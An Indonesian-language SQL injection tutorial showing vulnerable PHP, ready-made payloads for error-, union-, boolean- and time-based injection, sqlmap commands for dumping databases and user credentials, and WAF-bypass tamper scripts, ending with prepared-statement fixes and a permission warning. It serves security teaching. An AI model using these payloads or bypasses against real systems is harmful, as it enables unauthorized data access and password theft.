Apa itu SQL Injection?
SQL Injection terjadi ketika user input disisipkan langsung ke dalam SQL query tanpa sanitasi yang tepat, memungkinkan attacker memanipulasi logika query tersebut.
// Kode PHP yang RENTAN
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
Jika user memasukkan admin' OR '1'='1:
-- Query yang dieksekusi:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
-- Hasilnya: RETURN SEMUA ROWS karena '1'='1' selalu true
Jenis-Jenis SQL Injection
1. In-Band SQL Injection (Error-Based)
Hasil query dikembalikan langsung di response:
-- Test basic injection
'
''
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
admin' #
' OR 1=1--
-- Error-based extraction (MySQL)
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,(SELECT user())),0x7e)--
2. Union-Based SQL Injection
Menggunakan UNION untuk menggabungkan hasil query kedua:
-- Langkah 1: Temukan jumlah kolom
' ORDER BY 1-- -- works
' ORDER BY 2-- -- works
' ORDER BY 3-- -- works
' ORDER BY 4-- -- error → ada 3 kolom
-- Langkah 2: Temukan kolom yang visible
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 1, 2, 3--
-- Langkah 3: Extract data
' UNION SELECT 1, table_name, 3 FROM information_schema.tables--
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1, username, password FROM users--
-- Extract multiple values
' UNION SELECT 1, concat(username,':',password), 3 FROM users--
3. Blind SQL Injection (Boolean-Based)
Tidak ada output langsung, tapi response berbeda berdasarkan true/false:
-- Test
' AND 1=1-- -- normal response (true)
' AND 1=2-- -- different/empty response (false)
-- Extract data karakter per karakter
' AND substring(username,1,1)='a'--
' AND substring(username,1,1)='b'--
-- Lanjutkan sampai mendapat karakter yang cocok
-- Extract versi database
' AND substring(version(),1,1)='5'--
' AND substring(version(),1,1)='8'--
4. Blind SQL Injection (Time-Based)
Ketika tidak ada perbedaan response, gunakan time delay:
-- MySQL
' AND SLEEP(5)-- -- delay 5 detik = vulnerable
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)--
-- Extract dengan time-based
' AND IF(substring(version(),1,1)='8', SLEEP(5), 0)--
-- Jika delay → first char adalah '8'
SQLMap — Automated SQL Injection
# Basic scan
sqlmap -u "https://target.com/page?id=1" --batch
# POST request
sqlmap -u "https://target.com/login" \
--data="username=test&password=test" \
--batch
# Dengan cookie (untuk authenticated pages)
sqlmap -u "https://target.com/profile?id=1" \
--cookie="session=YOUR_SESSION_COOKIE" \
--batch
# Enumerate databases
sqlmap -u "https://target.com/page?id=1" \
--dbs \
--batch
# Enumerate tables dari database tertentu
sqlmap -u "https://target.com/page?id=1" \
-D target_db \
--tables \
--batch
# Dump tabel users
sqlmap -u "https://target.com/page?id=1" \
-D target_db \
-T users \
--dump \
--batch
# Gunakan Burp request file
sqlmap -r request.txt --batch --dbs
# (request.txt: raw HTTP request dari Burp Suite)
# Level dan risk yang lebih tinggi untuk corner cases
sqlmap -u "https://target.com/page?id=1" \
--level=5 \
--risk=3 \
--batch \
--dbs
Bypass WAF dengan SQLMap
# Gunakan tamper scripts
sqlmap -u "target.com/page?id=1" \
--tamper=space2comment,between,randomcase \
--batch
# Tamper scripts populer:
# space2comment → space → /**/
# between → > → NOT BETWEEN 0 AND
# randomcase → random case untuk keywords
# base64encode → encode payload
# charencode → URL encode chars
# equaltolike → = → LIKE
Prevention
// SECURE: Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// SECURE: Parameterized queries
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
Peringatan
SQLMap menghasilkan banyak traffic dan mudah terdeteksi IDS/WAF. Gunakan hanya pada lab environment atau dengan izin eksplisit dari pemilik sistem.